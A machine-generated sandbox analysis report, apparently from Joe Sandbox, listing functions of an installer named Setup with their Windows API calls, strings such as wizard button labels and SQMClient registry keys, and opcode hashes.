API ID: H_prolog3$ExceptionRaise_memset
String ID: IDS_IS_REALLY_CANCEL
API String ID: 1117901877-1805271499
Opcode ID: e6f021ec39099dbc48cdbc0b6a533bebbf9e7984c7f386928094ab04fb10c870
Instruction ID: 4950e4dd5441ff98aed2273dc65b70df74028a07e436311ddb6b32b64d7b7e30
Opcode Fuzzy Hash: e6f021ec39099dbc48cdbc0b6a533bebbf9e7984c7f386928094ab04fb10c870
Instruction Fuzzy Hash: 5141F1B16017058FEB20DF68C984B4ABBF0FF5AB04F40495DE58A9B691DB70E905CF91

Function 6395396A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 118COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63953971

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 63953654: __EH_prolog3.LIBCMT ref: 6395365B

Strings

FinishButton, xrefs: 63953A69
NextButton, xrefs: 639539CB
CancelButton, xrefs: 63953A1A
BackButton, xrefs: 6395397F

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: BackButton$CancelButton$FinishButton$NextButton
API String ID: 431132790-22014311
Opcode ID: b92179eebabfceb0df2547b4fbd69276663f956c8d577eb578df847e5c91c8dd
Instruction ID: 6a5dfbf180b64507e916109b6ba2f29e36bd57ce2b6df8e3443f298a62b8adfc
Opcode Fuzzy Hash: b92179eebabfceb0df2547b4fbd69276663f956c8d577eb578df847e5c91c8dd
Instruction Fuzzy Hash: 54414BB1901248EFEB01DBE8C984BDEB7BC6F29A18F184199F014E7282C775DA44CB71

Function 6394F2BE Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6394F2C5

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6394F20C: __EH_prolog3.LIBCMT ref: 6394F213

Part of subcall function 639683FD: _memcpy_s.LIBCMT ref: 6396844E

Strings

IDS_IS_FINISH, xrefs: 6394F3B8
IDS_IS_CANCEL, xrefs: 6394F36B
IDS_IS_BACK, xrefs: 6394F2CE
IDS_IS_NEXT, xrefs: 6394F31B

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$_memcpy_s
String ID: IDS_IS_BACK$IDS_IS_CANCEL$IDS_IS_FINISH$IDS_IS_NEXT
API String ID: 1663610674-2063768433
Opcode ID: edbd8a245f61275ce59c2c2fdd7ba61f846f48b8cf237cdb6dcb1935c791e260
Instruction ID: 6445b868524587469fd8008b9e967abdacada63ceece93ef68aba7adfd327c4d
Opcode Fuzzy Hash: edbd8a245f61275ce59c2c2fdd7ba61f846f48b8cf237cdb6dcb1935c791e260
Instruction Fuzzy Hash: 004184B29012199FDB04CFACC944AAE77F4AF69718F540598F555EB381CB30DA048FA2

Function 6C5D19F5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105sleepthreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?,Microsoft\Windows\SoftwareQualityMetricsClient,6C5F0180,00000000,?,6C5D1C30,?,?,?,6C5D1C70,0000002C), ref: 6C5D19CE
InterlockedCompareExchange.KERNEL32(6C5F0164,?,00000000), ref: 6C5D1AB1
_initterm.MSVCRT ref: 6C5D1AF8
InterlockedExchange.KERNEL32(6C5F0164,00000000), ref: 6C5D1B0E
InterlockedCompareExchange.KERNEL32(6C5F0164,00000001,00000000), ref: 6C5D1D46
free.MSVCRT ref: 6C5D1D7A
InterlockedExchange.KERNEL32(6C5F0164,00000000), ref: 6C5D1D9C
Sleep.KERNEL32(000003E8,?,00000000,?,?,6C5D1DDB,?,00000001,?,?,?,?,6C5D1C70,0000002C), ref: 6C5E451B

Strings

Microsoft\Windows\SoftwareQualityMetricsClient, xrefs: 6C5D19AC

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: ExchangeInterlocked$Compare$CallsDisableLibrarySleepThread_inittermfree
String ID: Microsoft\Windows\SoftwareQualityMetricsClient
API String ID: 529680579-2483579846
Opcode ID: 8da0f8aaacb3f5a78abddea76220f9da7658cd12d24a084addf3ebcfde00c3e8
Instruction ID: 175fa7bfa395d16a5c5646a11f445b3cf0e49197632a060c6c0701a65e75389d
Opcode Fuzzy Hash: 8da0f8aaacb3f5a78abddea76220f9da7658cd12d24a084addf3ebcfde00c3e8
Instruction Fuzzy Hash: 853100B220D3C0AFDB01DB699C54E967B75AB4232C71A819FE452CB953E724E802CB5D

Function 6C5E785F Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,?,00000000,00000000,00000000,-00020005,?,00000000,00000000,80000002,Software\Microsoft\SQMClient\Windows,CabSessionAfterSize,?,?,6C5E6078,80000002), ref: 6C5E78BB
RegSetValueExW.ADVAPI32(00000000,?,00000000,00000004,?,00000004,?,?,6C5E6078,80000002,Software\Microsoft\SQMClient\Windows,00000000,CEIPEnable,00000000,80000002,Software\Microsoft\SQMClient\Windows\DisabledSessions), ref: 6C5E78F3
RegCloseKey.ADVAPI32(00000000,?,?,6C5E6078,80000002,Software\Microsoft\SQMClient\Windows,00000000,CEIPEnable,00000000,80000002,Software\Microsoft\SQMClient\Windows\DisabledSessions,80000002,Software\Microsoft\SQMClient\Windows\Users,80000002,Software\Microsoft\SQMClient\Windows\Uploader\PendingUpload,80000002), ref: 6C5E792D

Strings

CabSessionAfterSize, xrefs: 6C5E7868
Software\Microsoft\SQMClient\Windows, xrefs: 6C5E7869

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseCreateValue
String ID: CabSessionAfterSize$Software\Microsoft\SQMClient\Windows
API String ID: 1818849710-2962713777
Opcode ID: c9954549411998ef8ac64acc3e97a518c719cba69a7859ec64afbb683645be78
Instruction ID: 20349a79099601c4ef44f4715450bb8da8c440faa8fa62190bf49ea86a921ceb
Opcode Fuzzy Hash: c9954549411998ef8ac64acc3e97a518c719cba69a7859ec64afbb683645be78
Instruction Fuzzy Hash: 1931F531641284BBCB159E14DC84F9B3BBAEF8E799F610185F924D79A2D371CC44DBA0

Function 6C5E5DAA Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(?,00000000), ref: 6C5E5E3B
memcpy.MSVCRT(?,00000000,-0000000E), ref: 6C5E5E66
TraceEvent.ADVAPI32(?,?,?), ref: 6C5E5E9E
LocalFree.KERNEL32(00000000), ref: 6C5E5EAD

Strings

P, xrefs: 6C5E5E79

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Local$AllocEventFreeTracememcpy
String ID: P
API String ID: 4064889523-3110715001
Opcode ID: 70bd200aa761484e12ccc65f34ef92857f5d110ab56da3cce708596ac8eb2e83
Instruction ID: 279bbe9fcf9b49ff054fc81b8d23e6c18e331ead8d30e80bde61e5e68a2beb11
Opcode Fuzzy Hash: 70bd200aa761484e12ccc65f34ef92857f5d110ab56da3cce708596ac8eb2e83
Instruction Fuzzy Hash: 1D3169B1D05218DFEB10CFA9CD8078EB7B6FF89318F6480A9E418A7610D330AA44CF51

Function 639673D5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 639673DC
GetLastError.KERNEL32 ref: 639673F9
GetLastError.KERNEL32 ref: 6396746A

Strings

QueryServiceStatus failed with error: %u, xrefs: 6396749F
OpenService failed with error: %u, xrefs: 63967438

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ErrorLast$H_prolog3_
String ID: OpenService failed with error: %u$QueryServiceStatus failed with error: %u
API String ID: 3339191932-3526490536
Opcode ID: 08837343624f5fc3470e98f3438cd842828496ade1ef1e8e7410a3ad7f0eb76c
Instruction ID: f9897a8ab4984af9d36216d3f44ed537808a3dd304190d8927823552503bb4cb
Opcode Fuzzy Hash: 08837343624f5fc3470e98f3438cd842828496ade1ef1e8e7410a3ad7f0eb76c
Instruction Fuzzy Hash: EA31D576A153059FE7209F68C888B6A7BF6FF46B24F148438F545EB291CB75D8008F21

Function 63951310 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63951317
__CxxThrowException@8.LIBCMT ref: 639513B0

Strings

Completed, xrefs: 63951348, 6395134D
Unexpected behavior: AffectedProducts::ComputeAffectedProductsList() method called when computation state is %s, xrefs: 63951351
NotStarted, xrefs: 6395133E

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Exception@8H_prolog3Throw
String ID: Completed$NotStarted$Unexpected behavior: AffectedProducts::ComputeAffectedProductsList() method called when computation state is %s
API String ID: 3670251406-2979706164
Opcode ID: f94b2ae38d93e6b3d47dfbb3deac3244974cef3f1200e92100aa7a0b5bea5a12
Instruction ID: d065f1353eb539718c5df3c2a0b027cda896afac9b003d02338b63f0ca25828f
Opcode Fuzzy Hash: f94b2ae38d93e6b3d47dfbb3deac3244974cef3f1200e92100aa7a0b5bea5a12
Instruction Fuzzy Hash: F2319271500704DFCF20CFA5C444AAAB7F8BF1AB18F14095DE5529B2A2DB35E988CF51

Function 63967FA1 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63967FA8
FormatMessageW.KERNEL32(00001300,00000000,?,?,?,00000000,00000000,00000008,6394C9AE,?,00000000,?), ref: 63967FDB
LocalFree.KERNEL32(?,?,?), ref: 63968004

Part of subcall function 639683CE: __CxxThrowException@8.LIBCMT ref: 639683E2

SysFreeString.OLEAUT32(00000000), ref: 6396806E

Strings

HRESULT 0x%8.8x, xrefs: 63967FE8

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Free$Exception@8FormatH_prolog3LocalMessageStringThrow
String ID: HRESULT 0x%8.8x
API String ID: 3624661282-2887418326
Opcode ID: fcfe9d3cebb4f251ae1051576b09029c28527c81762b3c2334129c0b9e7cae3c
Instruction ID: 42d8ea6b19f09b9e97bf2d227668eb46d397b3d84068fab72e33cf1ce4b2e253
Opcode Fuzzy Hash: fcfe9d3cebb4f251ae1051576b09029c28527c81762b3c2334129c0b9e7cae3c
Instruction Fuzzy Hash: 31219F3550A70AEBEF289F55CC44D9EBB7AFF97B44B008819F8256A151CB31C510CF11

Function 6396127A Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63961281

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 63961360: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,Action,6397FE10,?,?,?,205ABF9D,Action,?,00000000), ref: 63961395
Part of subcall function 63961360: GetLastError.KERNEL32(?,?,?,205ABF9D,Action,?,00000000), ref: 639613A5

Strings

complete, xrefs: 6396128C
Action, xrefs: 6396129E, 639612BC
Drive:[%s] Bytes Needed:[%I64u] Bytes Available:[%I64u], xrefs: 639612F9
Disk space check for items being downloaded, xrefs: 639612AF

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$DiskErrorFreeLastSpace
String ID: complete$Action$Disk space check for items being downloaded$Drive:[%s] Bytes Needed:[%I64u] Bytes Available:[%I64u]
API String ID: 2933164920-3673225344
Opcode ID: 85138fc713d2fdd1f3b77568753ed323eaa1349ffbb24ef380c23a9769643042
Instruction ID: 9291c87f04874d29856b22c6bb6e11aadaf0c1b282dc4a16cffe68145440b6a2
Opcode Fuzzy Hash: 85138fc713d2fdd1f3b77568753ed323eaa1349ffbb24ef380c23a9769643042
Instruction Fuzzy Hash: A3216B72901219DFDF00EFA8C844BEEBBB5AF5AB14F584459E115EB282C730DA14DF62

Function 6395D073 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 66COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395D07A
SetDlgItemTextW.USER32(?,00000065,?), ref: 6395D130

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Strings

IDS_INSTALL_ABORTED_DESCRIPTION_FORMAT_1S, xrefs: 6395D0BF
IDS_SUCCESS_BLOCKERS_DESCRIPTION_TEXT, xrefs: 6395D0A3
IDS_INSTALL_WARNING_DESCRIPTION_FORMAT, xrefs: 6395D0F4

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$ItemText
String ID: IDS_INSTALL_ABORTED_DESCRIPTION_FORMAT_1S$IDS_INSTALL_WARNING_DESCRIPTION_FORMAT$IDS_SUCCESS_BLOCKERS_DESCRIPTION_TEXT
API String ID: 2878149499-3033223209
Opcode ID: bc6bcaefb28f6e77262709e1b32360070adea1804f2d481aeb3d797d03558286
Instruction ID: 02ff8d9f88e32679ee25788005365ea21f07697eb3d4bdc97996ec6cbfc339d1
Opcode Fuzzy Hash: bc6bcaefb28f6e77262709e1b32360070adea1804f2d481aeb3d797d03558286
Instruction Fuzzy Hash: 88219071904209DFDB10EBB4C548A9EBBF5BF4AB18F184458F056AB291DB31E954CF11

Function 6395CFA5 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395CFAC

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

GetDlgItem.USER32(?,00000067), ref: 6395D018

Part of subcall function 6394E2E1: GetCurrentProcess.KERNEL32(00000000,0000000D), ref: 6394E319
Part of subcall function 6394E2E1: FlushInstructionCache.KERNEL32(00000000), ref: 6394E320

SetWindowLongW.USER32(?,000000FC,?), ref: 6395D041
SetDlgItemTextW.USER32(?,00000067,?), ref: 6395D05A

Strings

IDS_BLOCK_DIALOGS_SYSLINK_TEXT, xrefs: 6395CFB5

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3Item$CacheCurrentFlushInstructionLongProcessTextWindow
String ID: IDS_BLOCK_DIALOGS_SYSLINK_TEXT
API String ID: 2244164258-355004722
Opcode ID: 222046a7b05df7e3eca5c6f39de4ef35d6e315086bcd81161e547b85a0c3da4a
Instruction ID: e1a6ae688327f3ee0febf95022bcbfd45c2a34888bbab6e1de6eba03c762dcfb
Opcode Fuzzy Hash: 222046a7b05df7e3eca5c6f39de4ef35d6e315086bcd81161e547b85a0c3da4a
Instruction Fuzzy Hash: A6218E71900205DFDF10EFA4C948AAEBBF5BF06718F144558E455EB2A1D731D914CF50

Function 6395D2BF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395D2C6

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

SetDlgItemTextW.USER32(?,0000000B,00000000), ref: 6395D2FC
SetDlgItemTextW.USER32(?,00000008,00000000), ref: 6395D33B

Strings

IDS_CLOSE, xrefs: 6395D311
IDS_CONTINUE, xrefs: 6395D2CF

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3ItemText
String ID: IDS_CLOSE$IDS_CONTINUE
API String ID: 2008326593-3637486705
Opcode ID: daf792ecef3e1f906cc03e92bf801d8545fcb759406b581f05be945cada6b9e5
Instruction ID: f3c1a72dcd2c7ff84f1e01e4fc1e8a0176cc5fbb79a02abf9cb26da76cc61101
Opcode Fuzzy Hash: daf792ecef3e1f906cc03e92bf801d8545fcb759406b581f05be945cada6b9e5
Instruction Fuzzy Hash: 06113C71A006059FCB14DBE8C988AAEB7F1BF5AB18F144298F115EB2E1CB31E904CF11

Function 6C5EA94E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\WPA\ApplianceServer,00000000,00000001,?), ref: 6C5EA972
RegQueryValueExA.ADVAPI32(?,Installed,00000000,?,?,?), ref: 6C5EA999
RegCloseKey.ADVAPI32(?), ref: 6C5EA9BB

Strings

Installed, xrefs: 6C5EA98A
System\WPA\ApplianceServer, xrefs: 6C5EA968

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Installed$System\WPA\ApplianceServer
API String ID: 3677997916-2615809295
Opcode ID: 65626f948dc9439adec9f078b6b1f8f19b65aac934e0e06bfc484696e86f0704
Instruction ID: 0b2016b180a3bccaf13faa2fff0c664ec5b3fb6eb54111532fd6e2ddc245d535
Opcode Fuzzy Hash: 65626f948dc9439adec9f078b6b1f8f19b65aac934e0e06bfc484696e86f0704
Instruction Fuzzy Hash: DC018471A00244EBDF01DBB5CC45BAE7BB9BB09328F160316F121E1581E770A644DB49

Function 63967E95 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43libraryfileloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,63967F46,00002100,00000002,00000000,63967BC3,C0000000,?,?,?,63967BC3,?,C0000000,00000000), ref: 63967EA6
GetProcAddress.KERNEL32(00000000,CreateFileTransactedW), ref: 63967EB6
CreateFileW.KERNEL32(00002100,00000002,00000000,C0000000,?,63967BC3,00000000,?,?,63967F46,00002100,00000002,00000000,63967BC3,C0000000,?), ref: 63967EF3

Strings

CreateFileTransactedW, xrefs: 63967EB0
kernel32.dll, xrefs: 63967EA1

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: AddressCreateFileHandleModuleProc
String ID: CreateFileTransactedW$kernel32.dll
API String ID: 2580138172-2053874626
Opcode ID: c9785bb500b279267fbf1c7530936dec69c9438b0f6c60946c107b9e35401e8e
Instruction ID: 8f85009f0eec2f6218bd3557907ded8f3cc29039593de93ed5321976956f231f
Opcode Fuzzy Hash: c9785bb500b279267fbf1c7530936dec69c9438b0f6c60946c107b9e35401e8e
Instruction Fuzzy Hash: 6701D23200554AFF8F226E95CC08C9F3F2AEB8AB90B144914FA6485821C736C975EF60

Function 6C5EA7C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,NtQueryInformationProcess), ref: 6C5EA7DB
GetProcAddress.KERNEL32(00000000), ref: 6C5EA7E2
GetCurrentProcess.KERNEL32(0000001A,?,00000004,00000000), ref: 6C5EA7F8

Strings

NtQueryInformationProcess, xrefs: 6C5EA7D1
ntdll.dll, xrefs: 6C5EA7D6

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: NtQueryInformationProcess$ntdll.dll
API String ID: 4190356694-2906145389
Opcode ID: 46af6b7b7939a9654b221feb5901f7463ea712830a085171eb2e999e9ab7b417
Instruction ID: 05719aea5d96d131ce47e03ace9dc01913f8702ee952aa75e9ab669a472a6423
Opcode Fuzzy Hash: 46af6b7b7939a9654b221feb5901f7463ea712830a085171eb2e999e9ab7b417
Instruction Fuzzy Hash: 12F0E271A09310ABDB0096B58C08F873FB8DB5A764F124921F520D2580D370D8038BA8

Function 63959AD4 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 36COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63959ADB

Strings

IDS_FILE_VERIFICATION_PROGRESS_STATUS, xrefs: 63959AF7
IDS_DOWNLOAD_SUCCESS, xrefs: 63959B02
IDS_FILE_VERIFICATION_SUCCESS, xrefs: 63959AF0
IDS_DOWNLOAD_PROGRESS_STATUS, xrefs: 63959B09

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
